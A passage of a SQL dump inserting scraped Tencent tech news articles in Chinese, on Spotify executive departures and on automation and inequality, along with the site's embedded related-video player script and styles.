s,d,p=r.$player_wrap.width(),_=($(window).width()-a)/2-10>=p;_?(s=0-a/2-r.$player_wrap.width()-10,d=\"50%\"):(s=0,d=0),r.$player_wrap.css({\"margin-left\":s,left:d})}}\"1\"!==f.get()&&(o.mute&&o.mute(),u(o))}c(o),r.$player_wrap.css(\"visibility\",\"visible\"),t=n}},c=function(t){var i=a().height;t.resize({height:i})},d=r.$player_mini_ctrl.find(\"a[data-action=mute]\"),u=function(t){t.isMuted&&(n.mute=!!t.isMuted(),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))},p=function(t){var e=function(){s(t)};$(window).scroll(e),$(window).resize(e),r.$player_mini_ctrl.on(\"click\",\"a[data-action=close]\",function(e){e.preventDefault(),i=!0,s.apply(this)(),t.pause()}),r.$player_mini_ctrl.on(\"click\",\"a[data-action=resize]\",function(i){i.preventDefault(),r.$player_wrap.toggleClass(\"rv-player-mini-big\"),c(t)}),u(t),d.click(function(){t.isMuted&&(t.isMuted()?(t.unMute(),f.on()):(t.mute(),f.off()),d.removeClass(\"mute-off mute-on\").addClass(t.isMuted()?\"mute-on\":\"mute-off\"))})},f={_configName:\"mini_unmute\",_config:null,_set:function(t){this._config=n[this._configName],o.cookie.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path})},get:function(){return this._config=n[this._configName],o.cookie.get(this._config.key)},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};return{detectVisible:e,init:p}}();e.scrollPlay=c,e.dom=r},{\"./config\":2,\"./tools\":9}]},{},[4]);</script><span>\n</span><span>\n\n</span><!-- /相关视频 --><span>\n\n\n\n\n\n\n\n\n</span><!--[if !IE]>|xGv00|d82f7a1238f1c1eaec2269b1b9ad1fc5<![endif]--><span>\n\n</span><div class=\"techinding\"><p><strong>推广:腾讯创业频道是腾讯旗下专注于创投领域的媒体平台。如果你想被获得千万网友和投资人的关注,即刻微信搜索qqchuangye关注我们,递交你的项目。</strong></p><p align=\"center\"><img alt=\"京东金融拆VIE架构估值超500亿元 投资者预期五年后上市\" src=\"http://img1.gtimg.com/tech/pics/hv1/18/13/2189/142343058.jpg\"></p></div><span>\n</span></div>', '2017-03-03 02:04:17', '2017-03-03 02:04:17'); INSERT INTO `post` VALUES ('27', 'Spotify高管离职潮仍未停歇 资深法务高管汉森离职', 'http://p1yvzhu3t.bkt.clouddn.com/han.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><span>\n</span><p class=\"titdd-Article\">[<strong>摘要</strong>]汉森是Spotify的资深法务高管,已经为公司效力了十年之久。</p><p align=\"center\"><img alt=\"Spotify高管离职潮仍未停歇 资深法务高管汉森离职\" src=\"http://img1.gtimg.com/tech/pics/hv1/120/150/2190/142443120.jpg\"></p><p>BI中文站 3月3日报道</p><p>Spotify全球授权业务高管弗朗西斯·基灵(<NAME>)离职的消息刚刚传出来,业内人士就获悉Spotify最资深的高管佩特拉·汉森(<NAME>)已经离开了公司。</p><p>汉森是Spotify的资深法务高管,已经为公司效力了十年之久。</p><p>她是在2007年的时候被猎头公司从瑞典律师事务所Mannheimer Swartling挖来的。那一年,Spotify还没有正式推出其服务,公司所有员工还蜗居在斯德哥尔摩的一套两居室公寓中办公。</p><p>据音乐行业的一位高管透露:“Spotify已失去了公司的一名著名高管。跟佩特拉谈判总让人感觉压力重重。”</p><p>汉森和基灵只是最近离开Spotify的两名重要高管,实际上Spotify过去的一年里失去了多名高管,比如首席营收官杰夫·勒维克(<NAME>)、首席内容官肯·帕克斯(Ken Parks)、EMEA地区销售总监乔纳森·佛斯特(<NAME>)和唱片行业联络官斯蒂夫·萨沃卡(<NAME>)。</p><p>萨沃卡在唱片行业的声望很高,他离开Spotify后加入了<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;AAPL.OQ&quot;,&quot;200&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/astock/ggcx/AAPL.OQ.htm\" target=\"_blank\"><!--/keyword-->苹果<!--keyword--></a></span><!--/keyword-->Apple Music部门,在纽约分部担任主管,负责打理公司与唱片行业之间的关系。</p><p>基灵和汉森离职后,预计授权业务的领导权将会落在公司总法律顾问古铁雷斯(<NAME>rez)的头上。</p><p>自从Spotify与各大唱片公司的长期合同到期后,这些唱片公司就设法与SoundCloud、Pandora、iHeartRadio和<!--keyword--><span onmouseover=\"ShowInfo(this,&quot;AMZN.OQ&quot;,&quot;200&quot;,&quot;-1&quot;,event);\"><a class=\"a-tips-Article-QQ\" href=\"http://stockhtm.finance.qq.com/astock/ggcx/AMZN.OQ.htm\" target=\"_blank\"><!--/keyword-->亚马逊<!--keyword--></a></span><!--/keyword-->签订了新的流媒体授权协议。</p><p>然而,Spotify与唱片公司之间的谈判还将继续拖下去。Spotify希望唱片公司能够接受新的分成条件,将唱片公司的分成比例由55%降低到52%甚至51%。</p><p>Spotify上个月宣布,公司将在纽约创造1000个新岗位。</p><p>这是可以理解的,这些新岗位可能需要以瑞典的增长为代价。公司首席执行官丹尼尔·埃克(Daniel Ek)之前曾经说过,经营一项大规模的业务的代价是很高的。(编译/林靖东) </p><div class=\"techinding\"><p><strong>推广:腾讯创业频道是腾讯旗下专注于创投领域的媒体平台。如果你想被获得千万网友和投资人的关注,即刻微信搜索qqchuangye关注我们,递交你的项目。</strong></p><p align=\"center\"><img alt=\"Spotify高管离职潮仍未停歇 资深法务高管汉森离职\" src=\"http://img1.gtimg.com/tech/pics/hv1/18/13/2189/142343058.jpg\"></p></div></div>', '2017-03-03 02:04:18', '2017-03-03 02:04:18'); INSERT INTO `post` VALUES ('28', '机器人不但会抢夺我们的工作 还会加剧社会的不公', 'http://p1yvzhu3t.bkt.clouddn.com/machine.jpg', '<div id=\"Cnt-Main-Article-QQ\" class=\"Cnt-Main-Article-QQ\" bosszone=\"content\"><span>\n</span><p class=\"titdd-Article\">[<strong>摘要</strong>]新技术会让机器人更加多才多艺。</p><p align=\"center\"><img alt=\"机器人不但会抢夺我们的工作 还会加剧社会的不公\" src=\"http://img1.gtimg.com/tech/pics/hv1/118/149/2190/142442863.jpg\"></p><p>【腾讯科技编者按】英国《卫报》近日撰文称,自动化的时代已经越来越近,未来机器人不但会夺走我们的工作,可能还会加剧社会的不公,让马太效应(即强者愈强,弱者愈弱)统治整个社会。</p><p>机器人应该交税吗?这个问题听起来有些奇怪,不过包括首富盖茨和欧盟官员在内的许多人都曾提出过这一问题,人们担心机器人“崛起”会影响到自身的生存。虽然在具体的实施方案上大家的提议有所不同,不过大家都认为如果能让机器人交税,就能用这部分资金帮助工作岗位被挤占的人,让他们能过上有尊严的生活。</p><p>现在,我们有一个好消息和一个坏消息。好消息是大家担心的机器人崛起并未到来,虽然聪明的机器人确实在挤占一些工作岗位,但从<!--keyword--><a target=\"_blank\" href=\"http://finance.qq.com/zt/2009/Augdata/index.htm\"><!--/keyword-->经济数据<!--keyword--></a><!--/keyword-->上来看,它们的影响力还很小。不过,比起好消息来说,坏消息更令人揪心,因为一旦机器人成了主流,它不但会挤占人们的工作,还会制造更大的不公平。</p><p>其实马斯克担心的“天网”并非机器人带来的真正威胁,真正让人担心的是这些钢筋铁骨将进一步扩大经济差距,大多数人的生活质量可能会大幅降低。</p><p>自动化这个名词并不新鲜,16世纪英国人发明纺织机后自动化进程就开始了。当时,手工制作的话每分钟能缝100针,但机器却能缝1000针。随着技术的进步,生产同样多商品所需的工人数量一直在不断减少。</p><p>如今,自动化并未加剧不公,因为它在“毁掉”一项工作时能创造更多新工作。最典型的例子就是银行柜员:上世纪70年代ATM机诞生后,按说柜员该不断减少,但事实上这一群体却有了增长。究其原因,ATM机的出现降低了银行网点的运营成本,因此分行就越开越多,雇佣的柜员数也在不断增长。此外,现在柜员的角色也有了变化,他们不再只负责存取现金,售卖各种金融产品和服务成了这些人的新主业。</p><p>有人会说,机器人不就是技术的又一次进化吗?类似银行柜员的历史还会重演吧?如果这样想就过于乐观了,事实上,新技术会让机器人更加多才多艺。想像一下,如果ATM机不但能取钱,还能给你推销理财,甚至办贷款,银行网点的柜员还有什么用呢?因此,在自动化时代的新阶段,技术不会仅仅转变工作形态,它会直接消灭工作。原本利用更少劳动力创造更多财富的模式将被无需劳动力就能创富的模式替代。</p><p align=\"center\"><img alt=\"机器人不但会抢夺我们的工作 还会加剧社会的不公\" src=\"http://img1.gtimg.com/tech/pics/hv1/122/149/2190/142442867.jpg\"></p><p>不过,无需劳动力就能创富的模式就那么不好吗?要解答这个问题需要先明确一个前提,那就是财富掌握在谁手上。在资本主义社会,工人靠工作只能拿到他们创造财富中很小的一部分,其他则被资本家拿走,而且数据显示,过去几十年中,工资在国家收入中的占比在不断缩小,而资本家拿走的部分则在不断增加。</p><p>技术让工人们的生产力不断提高,同时利润也随之增长。1973-2011年间,生产力提升了80.4%,但工人的工资其实只上涨了10.7%,而随着自动化的全面到来,这种情况将变得更加严峻。如果你认为现在社会已经非常不公,未来可能会更加绝望,因为资本家们不用雇佣你也能让自己的资产增值了。</p><p>资本家与劳动力的“分手”不仅意味着工作岗位的终结,更意味着工资这一名词的消失,而没了工资,普通人就会与财富绝缘,甚至连生存都会成为大问题。此外,工人们还会丧失他们社会权利的主要来源。曾经,生产掌握在工人手中,他们不高兴时还能用罢工来和资本家谈判,而工作岗位都被机器人替代后,罢工就成了历史。</p><p>其实当下富人享受的生活已不是普通人能想象的,但他们吃穿用度之物至少还是工人们生产的,如果机器人替代了工人,富人们恐怕会扯掉最后一块遮羞布,自己生存在天堂,而穷人们则会被晾在一边慢慢“腐烂”。</p><p>如果这一设想还不够惊悚,恐怕我们就要从好莱坞电影的剧情上“取经”了。设想如果机器人能替代所有的工作,那么丢了工作的普通人对这个地球还有何意义呢?精英阶层会不会直接残忍的将大家屠戮殆尽呢?</p><p>这样反乌托邦的概念有点像科幻小说,不过它们确实有其可信的一面。有关机器人和人工智能的技术未来会继续进步,如果与其配套的法律和体制没能与时俱进,未来大多数人将陷入万劫不复,因此盖茨提出的机器人税确实值得仔细考虑。</p><p>当然,这并非我们反对自动化的原因,机器人没有错,只要它们创造的财富能进入大多数人的腰包,其发展就值得鼓励。问题在于机器人掌握在富人手中,这就意味着它们创造的巨额财富只有很小一部分能进入普通人的腰包。</p><p>最近,牛津饥荒救济委员会发布了一份报告,报告显示,世界上最富的八个人占据了人类一半的财富,如果自动化全面接管人类的工作,这一比例可能会提升至100%。因此,我们必须重新考虑财富再分配的方式,在还来得及之前。(编译/锐志)</p><p><strong>精彩视频推荐</strong></p><p>\n\n\n\n\n\n\n\n\n\n\n\n\n\n<!-- 相关视频 --> <!-- built at: Wed Jan 18 2017 16:25:45 GMT+0800 (中国标准时间) -->\n\n<script type=\"text/javascript\">\n var related_video_info = {\n vid: \'u0022qd2sl7\',\n cid: \'0uky2j575eso7pr\',\n url: \'http://v.qq.com/page/u/l/7/u0022qd2sl7.html\',\n pic: \'http://vpic.video.qq.com/20547853/u0022qd2sl7_ori_1.jpg\',\n title: \'八年后在中国能坐超级高铁?俞敏洪、盛希泰去帮你问了问\'\n };\n</script>\n\n\n<style type=\"text/css\">.rv-root-v2{font-family:\"\\5FAE\\8F6F\\96C5\\9ED1\",sans-serif;color:#000}.rv-root-v2 a{text-decoration:none;color:#000}.rv-root-v2 h1,.rv-root-v2 h2,.rv-root-v2 h3,.rv-root-v2 ol,.rv-root-v2 p,.rv-root-v2 ul{display:block;padding:0;margin:0}.rv-root-v2 img{border:0}.rv-root-v2 .rv-cf:after,.rv-root-v2 .rv-cf:before{content:\" \";display:table}.rv-root-v2 .rv-cf:after{clear:both}.rv-root-v2 .rv-cf{*zoom:1}.rv-root-v2 .rv-top{height:40px;line-height:40px;background-color:#f3f3f3}.rv-root-v2 .rv-top .rv-fold-btn{float:right;padding-left:20px;margin-right:16px;font-size:14px;background-image:url(http://mat1.gtimg.com/news/dc/images/fold.png);background-position:left center;background-repeat:no-repeat}.rv-root-v2 .rv-top .rv-autoplay{float:right;width:110px;margin-right:16px}.rv-root-v2 .rv-top .rv-autoplay span{font-size:14px;float:right}.rv-root-v2 .rv-top .rv-autoplay a{float:right;display:block;width:32px;height:18px;padding:2px;margin-top:10px;margin-left:12px;border-radius:10px;font-size:0;text-indent:-9999px;cursor:pointer;background-color:#CCC;transition:background .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a i{display:block;width:18px;height:18px;border-radius:50%;background-color:#fff;margin-left:0;box-shadow:1px 1px 3px rgba(0,0,0,.6);transition:all .3s ease-out}.rv-root-v2 .rv-top .rv-autoplay a:hover{background-color:#d9d9d9}.rv-root-v2 .rv-top .rv-autoplay a.enabled{background-color:#006cb7}.rv-root-v2 .rv-top .rv-autoplay a.enabled i{margin-left:14px}.rv-root-v2 .rv-top .rv-autoplay a.enabled:hover{background-color:#007bd1}.rv-root-v2 .rv-top .rv-autoplay a:active i{box-shadow:none}.rv-root-v2 .rv-top .rv-title{overflow:hidden}.rv-root-v2 .rv-top .rv-title a{display:block;font-size:18px;font-weight:400;text-indent:12px;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;color:#000}.rv-root-v2 .rv-top .rv-title a:hover{color:#cd0000;text-decoration:underline}.rv-root-v2 .rv-middle .rv-player{position:relative;min-height:360px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap{position:absolute;width:100%;height:100%;top:0;left:0;background-color:#000;box-shadow:inset 0 0 20px rgba(0,0,0,.6)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod{position:relative;width:100%;height:100%}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .rv-player-loading{width:100%;height:100%;text-align:center;color:#999;font-family:verdana,arial,sans-serif}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mod .tvp_titles{display:none}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl{display:none;position:absolute;right:0;z-index:99;bottom:18px;width:30px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{display:block;margin-top:3px;width:30px;height:30px;line-height:30px;background-color:#000;background-color:rgba(0,0,0,.6);background-image:url(http://mat1.gtimg.com/news/dc/images/rv_mini_sprites_v2.png);background-repeat:no-repeat;text-align:center}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute:hover,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize:hover{color:#FFF;background-color:#000;background-color:rgba(0,0,0,.9)}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute,.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-off{background-position:0 -150px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-mute.mute-on{background-position:0 -180px}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-close{background-position:0 0}.rv-root-v2 .rv-middle .rv-player .rv-player-wrap .rv-player-mini-ctrl-resize{background-position:0 -30px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini{position:fixed;width:270px;height:170px;left:0;bottom:0;top:auto;z-index:99;box-shadow:0 0 3px rgba(0,0,0,.3)}.rv-root-v2 .rv-middle .rv-player .rv-player-mini .rv-player-mini-ctrl{display:block}@media only screen and (min-width:1300px){.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-sp1{left:50%;margin-left:-692px}}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big{width:640px;height:378px}.rv-root-v2 .rv-middle .rv-player .rv-player-mini.rv-player-mini-big .rv-player-mini-ctrl-resize{background-position:0 -60px}.rv-root-v2 .rv-middle .rv-playlist{height:100px;background-color:#2f2f2f}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl{position:relative;width:100%;height:0;z-index:2}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a{display:block;position:absolute;top:0;width:17px;height:100px;line-height:100px;font-size:14px;font-weight:700;font-family:NanumMyeongjo,\"\\5B8B\\4F53\",sans-serif;text-align:center;color:#a3a3a3;background-color:#2f2f2f;background-color:rgba(47,47,47,.8);cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a:hover{background-color:#494949;background-color:rgba(73,73,73,.8)}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled{cursor:not-allowed;color:#505050}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl a.disabled:hover{background-color:#2f2f2f;background-color:rgba(47,47,47,.8);box-shadow:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .prev{left:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-ctrl .next{right:0}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap{height:100px;width:100%;overflow:hidden;position:relative;z-index:1}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller{height:130px;width:100%;overflow-y:hidden;overflow-x:scroll;-webkit-overflow-scrolling:touch}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list{width:9999px;padding:0 17px;list-style:none}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li{display:block;float:left}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a{display:block;position:relative;width:160px;height:90px;padding:5px;cursor:pointer}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a img{width:100%;height:100%;opacity:0;transition:opacity .3s ease-out;vertical-align:top}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div{position:absolute;width:100%;left:0;bottom:0;font-size:12px;line-height:18px}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span{display:block;height:18px;margin:5px;padding:5px 10px 2px;overflow:hidden;font-family:Arial,sans-serif;color:#ababab;background-color:rgba(0,0,0,.8);-ms-filter:\"progid:DXImageTransform.Microsoft.gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\')\";filter:progid:DXImageTransform.Microsoft.Gradient(GradientType=1, StartColorStr=\'#CC000000\', EndColorStr=\'#CC000000\');-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a div span:not([dummy]){filter:progid:DXImageTransform.Microsoft.Gradient(enabled=\'false\')}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current{background:#101010}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a.current div span{color:#ff6d1a}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover{background:#252525}.rv-root-v2 .rv-middle .rv-playlist .rv-playlist-wrap .rv-playlist-scroller ol.rv-playlist-list li a:hover div span{height:36px}@media only screen and (min-width:1260px){.rv-adjust-wide-article{width:895px;margin-left:-97px}}#sports_video_mask{position:fixed;top:0;left:0;background:#000;opacity:.5;z-index:100;filter:alpha(opacity=50)}#sports_video_Vip{width:560px;height:320px;overflow:hidden;box-shadow:0 0 10px #fff;position:fixed;z-index:101;background:rgba(0,0,0,.8);filter:progid:DXImageTransform.Microsoft.gradient(startcolorstr=#CF000000, 0, endcolorstr=#CF000000, 0)}#sports_video_Vip #sports_video_Vip_close{position:absolute;padding:10px;top:0;right:0;color:#fff;cursor:pointer;font-size:16px}#sports_video_Vip .sports_video_code{position:absolute;width:114px;padding-top:124px;text-align:center;background:url(http://mat1.gtimg.com/sports/tangent/adImg/sportVip2code.png) no-repeat;top:88px;right:40px}#sports_video_Vip .sports_video_content{color:#b6b6b6;width:320px;margin-left:50px;line-height:1.5;font-size:13px;top:48px;border-right:2px dashed #5d5d5d;position:relative}</style>\n</p><span>\n</span><script>!function t(i,e,o){function n(a,l){if(!e[a]){if(!i[a]){var s=\"function\"==typeof require&&require;if(!l&&s)return s(a,!0);if(r)return r(a,!0);throw new Error(\"Cannot find module \'\"+a+\"\'\")}var c=e[a]={exports:{}};i[a][0].call(c.exports,function(t){var e=i[a][1][t];return n(e?e:t)},c,c.exports,t,i,e,o)}return e[a].exports}for(var r=\"function\"==typeof require&&require,a=0;a<o.length;a++)n(o[a]);return n}({1:[function(t,i,e){function o(t){var i=!1,e=s.get();if(!0===r.playingGlobalSign.isAnyonePlaying()||\"0\"===e)return t(!1);if(\"1\"===e)return t(!0);if(l){var o=(new Date).getTime();l.get(n.autoplay_cookie.key,function(e,a){if(!i){if(i=!0,r.debug_log(\"get localstorage from http://www.qq.com/public/final12/localStorageqq.htm differTime\",(new Date).getTime()-o+\"ms\",a),!e&&a){var l=JSON.parse(a);if(\"1\"===l.val)return void t(!0);var s=(new Date).getTime()-l.time,c=s/864e5;return r.debug_log(\"set \"+c.toFixed(2)+\"days\"),c<n.autoplay_cookie.expires?void t(!1):void t(!0)}t(!0)}}),setTimeout(function(){i||(t(!0),i=!0,r.debug_log(\"timeout cross localstorage 400ms\"))},800)}else t(!0),r.debug_log(\"no cross and default true\")}var n=t(\"./config\"),r=t(\"./tools\"),a=r.cookie,l=t(\"./crossLocalStorage\"),s={_config:n.autoplay_cookie,_set:function(t){if(a.set(this._config.key,t,{expires:this._config.expires,domain:this._config.domain,path:this._config.path}),window.JSON){var i={time:(new Date).getTime(),val:t};l&&l.set(this._config.key,i,function(){})}},get:function(){var t=a.get(this._config.key);return t},on:function(){this._set(\"1\")},off:function(){this._set(\"0\")}};i.exports={getAutoPlay:o,autoPlaySign:s}},{\"./config\":2,\"./crossLocalStorage\":3,\"./tools\":9}],2:[function(t,i,e){var o={};o.modName=\"dc_related_video\",o.autoplay_cookie={key:\"aboutVideo_v\",domain:\".qq.com\",path:\"/\",expires:30},o.playing_cookie={key:\"dc_vplaying\",domain:\".qq.com\",path:\"/\",expires:function(){return new Date((new Date).getTime()+72e5)}},o.mini_unmute={key:\"rv_mini_unmute\",domain:\".qq.com\",path:\"/\",expires:1},o.qqcomstore=null,o.videos=[],o.automute=!1,window.txPlayer_config=o,i.exports=o},{}],3:[function(t,i,e){document.domain=\"qq.com\";var o;o=function(t){this.id=this._getId(),this._init(t),this._origin=this._getOrigin(t),this._callbacks={_get:{},_set:{},_del:{}},this._bindEvent()},o.prototype._getId=function(){return id=0,function(){return++id}}(),o.prototype._init=function(t){var i=this,e=document.createElement(\"iframe\");e.style.display=\"none\",e.src=t,document.body.appendChild(e),this._hub=e.contentWindow,e.onload=function(){i.load()}},o.prototype.load=function(){},o.prototype._getOrigin=function(t){var i,e;return i=document.createElement(\"a\"),i.href=t,e=i.protocol+\"//\"+i.host},o.prototype._parseMessage=function(t,i,e){return JSON.stringify({method:t,key:i,value:e})},o.prototype._bindEvent=function(){var t=this;window.addEventListener?window.addEventListener(\"message\",function(i){var e=JSON.parse(i.data),o=e.error,n=e.result&&JSON.parse(e.result)||null;t._callbacks[\"_\"+e.method][e.key](o,n)},!1):\"\"},o.prototype.get=function(t,i){this._hub.postMessage(this._parseMessage(\"get\",t),this._origin),this._callbacks._get[t]=i},o.prototype.set=function(t,i,e){this._hub.postMessage(this._parseMessage(\"set\",t,i),this._origin),this._callbacks._set[t]=e},o.prototype.del=function(t,i){this._hub.postMessage(this._parseMessage(\"del\",t),this._origin),this._callbacks._del[t]=i};var n;n=window.addEventListener&&window.localStorage&&window.JSON?new o(\"http://www.qq.com/public/final12/localStorageqq.htm\"):null,i.exports=n},{}],4:[function(t,i,e){var o=t(\"./config\"),n=t(\"./tools\"),r=window.related_video_info,a=t(\"./inview\"),l=t(\"./autoPlay\");n.loadJquery(function(i){n.debug_log(\"jquery ready\"),a.init(function(){n.debug_log(\"video inview ready init\");var e=t(\"./ui\");i.getScript(\"http://vm.gtimg.cn/tencentvideo/txp/js/txplayer.js\").done(function(){function a(a){if(!s){s=1,e.autoPlaySW.setStatus(a),e.autoPlaySW.bind(function(t){l.autoPlaySign[t?\"on\":\"off\"](),t?d.play():-1===d.getPlayerState()?d.stop():d.pause()});var c=t(\"./play\"),d=c(r,a);d.on(\"ready\",function(){window.v_nomini||e.scrollPlay.init(d,o)}),d.on(\"playStateChange\",function(t){1==t.state&&i(window).trigger(\"video:pause\",o.modName),t.state>0?n.playingGlobalSign.on():n.playingGlobalSign.off()}),i(window).on(\"video:pause\",function(t,i){n.debug_log(\"\\u6682\\u505c\\u8bf7\\u6c42\\u6765\\u81ea\\uff1a \",i),i!==o.modName&&(-1===d.getPlayerState()?d.stop():d.pause())});var u=t(\"./getVideoList\");u(r,d);var p=t(\"./sportVip\");p.sportVip(d),d.on(\"showUIVipGuide\",function(t){n.debug_log(t),p.pop(d,\"1080p\")})}}n.debug_log(\"txplayer.js ready\",r);var s=0;try{l.getAutoPlay(a)}catch(c){n.debug_log(c),a(!0)}})})})},{\"./autoPlay\":1,\"./config\":2,\"./getVideoList\":5,\"./inview\":6,\"./play\":7,\"./sportVip\":8,\"./tools\":9,\"./ui\":10}],5:[function(t,i,e){function o(t,i){n=i;var e=function(i){d(t,i)};t.cid&&\"null\"!==t.cid?r.getVideoListByCoverId(t.cid,e):(r.debug_log(\"getLikeVideoList\",c.qq),r.getLikeVideoList(c.qq,t.vid,e))}var n,r=t(\"./tools\"),a=t(\"./ui\"),l=t(\"./play\"),s=t(\"./inview\"),c={qq:r.cookie.get(\"o_cookie\")||null},d=function(t,i){r.debug_log(\"videoList array\",i),i||a.playlist.hide();var e=[];e.push(t),$.each(i,function(i,o){o.vid!==t.vid&&e.push(o)});var o=\"\";$.each(e,function(t,i){i.title&&i.title.replace(/[^\\x00-\\xff]/gi,\"**\").length>40?i.stitle=r.cutstr2(i.title,40)+\"...\":i.stitle=i.title||\"\",o+=\"<li>\",o+=\" <a data-vid=\'\"+i.vid+\"\' data-idx=\'\"+t+\"\' href=\'\"+i.url+\"\' target=\'_self\' class=\'\"+(0===t?\"current\":\"\")+\"\' bosszone=\'rvideo_list_title\'>\",o+=\" <img src=\'\"+i.pic+\"\' onload=\'this.onload=null;this.style.opacity=1;\' />\",o+=\" <div>\",o+=\" <span>\"+i.stitle+\"</span>\",o+=\" </div>\",o+=\" </a>\",o+=\"</li>\"}),a.dom.$playlist_list.html(o),a.playlist.init();var c=function(t){if(t){var i,o;return $.each(e,function(e,n){return n.vid===t?(i=n,o=e,!1):void 0}),i&&(i.idx=o),i}},d=function(t){0>t||t>e.length-1||(l(e[t]),a.playlist.setCurrentToIdx(t),a.playlist.scrollToItemIdx(t))};a.dom.$playlist_list.on(\"click\",\"a[data-vid]\",function(t){t.preventDefault();var i=$(this).attr(\"data-vid\"),e=c(i);d(e.idx),r.trace.boss2619(\"user_click\",i)}),n.on(\"playStateChange\",function(t){if(0==t.state){var i=n.getVid(),o=c(i),a=o.idx+1,l=s.inview();r.debug_log(\"\\u64ad\\u653e\\u5668\\u662f\\u5426\\u53ef\\u89c1\",l),a<e.length&&l&&(r.debug_log(\"event: \\u64ad\\u653e\\u4e0b\\u4e00\\u4e2a\"),d(a),r.trace.boss2619(\"auto_next\",i))}})};i.exports=o},{\"./inview\":6,\"./play\":7,\"./tools\":9,\"./ui\":10}],6:[function(t,i,e){function o(){var t=$(window).scrollTop(),i=$(\".rv-root-v2\").offset().top,e=$(window).height();return t+e-70>=i&&i+518>t}var n=function(t){function i(){o()&&!e&&(t(),e=!0)}var e=!1;i(),$(window).scroll(function(t){i()})};i.exports={init:n,inview:o}},{}],7:[function(t,i,e){function o(t,i){var e=\"tvp-mod-player-\"+t.vid;if(r.setPlayerModId(e),r.setTitle(t.title,t.url),n)n.play({vid:t.vid});else{var t={useFlashVIPLayer:0,vid:t.vid,containerId:e,width:\"100%\",height:\"100%\",flashplayerUrl:\"http://imgcache.qq.com/tencentvideo_v1/playerv3/TencentPlayer.swf?max_age=86400&v=20161117\",autoplay:i};window.ARTICLE_INFO&&\"sports\"===window.ARTICLE_INFO.site&&(t.useFlashVIPLayer=-1,t.chid=8,t.authfrom=\"40001\",t.getUserType=function(){return window.login&&login.sportVip?10:window.login&&login.isLogin()?1:0},t.showOpenVIPGuide=function(){console.log(\"showOpenVIPGuide\"),\"function\"==typeof window.__tenplay_skipad&&window.__tenplay_skipad()}),n=new Txplayer(t)}return n}var n,r=t(\"./ui\");t(\"./config\");i.exports=o},{\"./config\":2,\"./ui\":10}],8:[function(t,i,e){function o(t){window.ARTICLE_INFO&&\"sports\"==window.ARTICLE_INFO.site&&(window.__tenplay_skipad=function(){return n(t,\"ad\"),1})}function n(t,i){var e=function(){var t=$(window).width(),i=$(window).height(),e=(t-560)/2,o=(i-320)/2;o=o>0?o:0,$(\"#sports_video_Vip\").css({left:e,top:o}),$(\"#sports_video_mask\").css({width:t,height:i})};if(0==$(\"#sports_video_Vip\").size()){var o=\"<div id=\'sports_video_mask\'></div>\",n=\"<div id=\'sports_video_Vip\'></div>\",r=\"<div 